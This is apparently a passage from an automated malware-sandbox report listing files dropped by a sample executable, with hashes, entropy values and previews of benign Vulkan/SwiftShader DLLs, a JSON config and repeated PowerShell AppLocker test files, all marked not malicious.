                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):5334528
                                                                                                                                                                                                                                                Entropy (8bit):6.335261874351837
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:98304:RKJSTu+985EkjstvgsnpkkHF3y/AFIB7:RQq85EkjstvgsnpkkJETB
                                                                                                                                                                                                                                                MD5:524B0D85D992F86A7F26C162F3DBB91C
                                                                                                                                                                                                                                                SHA1:BC9C862FD01F6134A0514DCB63F9FAB7A61CE269
                                                                                                                                                                                                                                                SHA-256:5B2FFB78FA963F2DEA5A7FCF7676FC3ABA243C4372D7528C8F1FC8F726D0A3FA
                                                                                                                                                                                                                                                SHA-512:422A18AF294D7551224E05F5F4F5DCFA51B3455C2E61FC285FD2B95B50274EB77FF317647E17B0E7D47459B4FED19C7C88C90E0878F2269A78D598B1196401D8
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......A..........;.......................................R...........`A..........................................L.~...&.L.P....`R.......P.<_...........pR.X}...L.......................L.(...@.A.@.............L.P............................text.....A.......A................. ..`.rdata...(....A..*....A.............@..@.data...p.....M.......M.............@....pdata..<_....P..`...LO.............@..@.00cfg..8.....Q.......P.............@..@.gxfg....,....R.......P.............@..@.retplne.....0R.......P..................tls....Q....@R.......P.............@..._RDATA..\....PR.......P.............@..@.rsrc........`R.......P.............@..@.reloc..X}...pR..~....P.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\vk_swiftshader_icd.json

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:JSON data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):106
                                                                                                                                                                                                                                                Entropy (8bit):4.724752649036734
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
                                                                                                                                                                                                                                                MD5:8642DD3A87E2DE6E991FAE08458E302B
                                                                                                                                                                                                                                                SHA1:9C06735C31CEC00600FD763A92F8112D085BD12A
                                                                                                                                                                                                                                                SHA-256:32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
                                                                                                                                                                                                                                                SHA-512:F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\vulkan-1.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):928256
                                                                                                                                                                                                                                                Entropy (8bit):6.558092096809165
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24576:IEW7F7IyaHx/fempu2e6Z5WODYsHh6g3P0zAk7o:e7IyaBfempa6Z5WODYsHh6g3P0zAk7
                                                                                                                                                                                                                                                MD5:6D4ADF9A48DBCE2E480EF10B1338CA3C
                                                                                                                                                                                                                                                SHA1:CEB77D5768C6EDA84EC8E0B43821B8027764DE81
                                                                                                                                                                                                                                                SHA-256:4CCA7E6C05B2D988926E4B4D0C8FF91D6356F18DE8BF40B440251180E5CAD6A7
                                                                                                                                                                                                                                                SHA-512:106DB7309B40AFABB1CCA911B204C83129683DC116AEC198568C4228C581BF0DE5963BFFC0B50DF8F43EC355264F271FC383F4155BE45350C0D7DD429C7F7F09
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......................................................................`A........................................H...<!......P...............<o..............T...t.......................X...(...@...@............................................text............................... ..`.rdata..............................@..@.data....L...p... ...V..............@....pdata..<o.......p...v..............@..@.00cfg..8....0......................@..@.gxfg...P(...@...*..................@..@.retplne.....p...........................tls................................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..T...........................@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xlxmnvu.z5z.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1vuddfbn.aty.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1vzh2csq.0p4.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1z3lpf3k.3jo.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ffknnyi.pcu.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fuwjejr.bhr.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2kyzncna.mkq.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2mhosgkl.ds3.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_33xyyhuf.jkk.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a2resyik.qjz.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a3o3yclu.nhl.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ak3myqre.3wx.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b4dqsu3k.o51.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c4il2ip5.sf1.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cqima40q.34t.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ddykyb0k.jlk.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dlo1l5ql.ubo.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dntwvaaf.xax.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dyaedh0b.qww.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ealzmgct.t0d.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
